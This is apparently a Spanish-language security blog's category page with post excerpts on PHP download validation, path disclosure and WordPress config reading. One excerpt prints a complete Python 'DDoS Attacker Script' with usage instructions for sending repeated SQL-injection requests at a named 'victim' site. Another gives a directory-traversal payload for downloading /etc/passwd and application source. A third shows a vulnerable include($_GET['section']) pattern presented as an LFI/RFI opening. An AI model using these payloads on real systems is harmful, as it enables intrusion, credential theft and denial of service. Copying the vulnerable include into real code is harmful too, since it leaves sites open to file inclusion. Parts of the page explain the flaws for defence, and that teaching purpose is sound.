CategoríaProgramación

Cómo validar correctamente la descarga de un archivo en php

Este post es debido a un correo que recibí preguntando como evitar el full path disclosure y el directory transversal desde un fichero php que realiza descargas. El error que plantearé a continuación es muy común en muchos sistemas web y ya he publicado varias webs vulnerables con este mismo problema. Corresponde a la forma de descarga tipo download.php?dir=ficheros/&file=test.pdf.

secure

Con una URL de este tipo, es posible forzar un FPD modificando las variables “dir” y “test”, cambiadolas por cualquier cosa que sepamos que no existe y de esta forma obtendremos un fichero php con un error, el cual nos revelará el path de la aplicación. Si cambiamos el valor de la variable “dir” a “../../../../../../etc/” y “file” a “passwd”, es muy probable que nos deje descargar el fichero /etc/passwd, lo mismo con cualquier otro fichero. De esta misma forma, podemos ir descargando uno a uno los códigos fuentes del sistema php y poder acceder a los usuarios y claves de conexion a la base de datos y otro tipo de información confidencial.

Seguir leyendo

Migración de datos en Drupal

drupal_migra Drupal 6 nos provee de una API que nos permitirá trabajar directamente con el core, usando las funciones, módulos y configuraciones ya existentes. De esta forma, y gracias a los hooks, podemos realizar distintas funciones tales como agregar, eliminar y modificar usuarios y contenidos, manejar los comentarios, configuraciones, etc.
La idea de este artículo es ayudar a las personas que necesiten realizar una migración (importación/exportación) desde un sistema distinto hacia Drupal.

Seguir leyendo

WP-Config Discover: Héchale un vistazo a todos los WordPress del servidor

matrixwordpressWP-Config Discover es el nombre que le puse a un script/exploit en el que estuve trabajando durante la semana. Este script no se aprovecha de ninguna falla ni vulnerabilidad de wordpress ni de algun servicio en especifico, sino de algo que es completamente normal: Lectura para el usuario www-data sobre el fichero wp-config.php.

Como todos saben, wordpress al igual que todos los cms, guardan la configuración de la base de datos (usuario, password, host, prefijo de las tablas, etc) en un fichero, el cual debe ser legible por el usuario que está corriendo el servicio http (generalmente apache/www-data).

Seguir leyendo

DDoS Attacker Script: Peticiones automatizadas para lograr DoS

DDoS Attacker Script” es un pequeño script que he escrito en python que nos sirve para lograr con éxito un ataque de denegación de servicio en un sitio web. Este script lo diseñe especialmente para ataques de sql injection.

El funcionamiento es muy sencillo, se conecta y hace una petición de la URI especificada:

#!/usr/bin/python
import socket, sys, os
print "][ Attacking " + sys.argv[1]  + " ... ]["
print "injecting " + sys.argv[2];
def attack():	
	#pid = os.fork()
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((sys.argv[1], 80))
	print ">> GET /" + sys.argv[2] + " HTTP/1.1"
	s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n")
	s.send("Host: " + sys.argv[1]  + "\r\n\r\n");
	s.close()
for i in range(1, 10):
	attack()

La línea número 6 está comentada, si prefieren la pueden descomentar para ver lo que sucede.
El uso del script es de la siguiente forma:
$ python DDoS.py www.pagina.com SQLi
En www.pagina.com obviamente pondremos nuestra víctima y en SQLi, la cadena que hará el milagro, por ejemplo “ver_productos.php?id=55′ or ‘1’=’1

¿Qué es una vulnerabilidad File/Path Disclosure?

Una vulnerabilidad del tipo File o Path Disclosure es cuando queda al descubierto la ruta de la aplicación o script en ejecución y de esta forma saber en que directorio especificamente se encuentra el sitio web. A simple vista parece ser inofensivo, pero cuando se necesita subir maliciosamente un archivo o descargar algo indevidamente, esto es muy útil.

disclosure

Esta vulnerabilidad corresponde a un error de programación al no atajar correctamente los errores o excepciones, por ejemplo, uno de los casos mas frecuentes se da con la famosa función include o requiere (en php):

  1. <?php
  2. include($_GET[‘section’].".php");
  3. ?>

Es muy común ver en sitios web como se pasa por parámetro la sección, algo similar a https://sitio.cl/index.php?section=contacto, entonces el script index.php recibe la variable “section”, le agrega la extension .php y la incluye, pero …

¿Qué pasa cuando cambiamos contacto por letras al azar como fdsghjk?
Fácil, la función include intentará incluir el archivo fdsghjk.php y como no existe, php mostrara un error parecido a Failed to open stream: No such file or directory in /home/web/public_html/index.php y con esto, ya tenemos la ruta donde se está ejecutando la aplicación: /home/web/public_html. De esta forma se nos facilita un ataque LFI o RFI.

ooPhBOT v1.0.5

Hace dias corregi el algoritmo de busqueda de sitios y definiciones para google, pero no lo habia subido. Ya esta disponible la version 1.0.5 del ooPhBot y lo puedes descargar desde este link.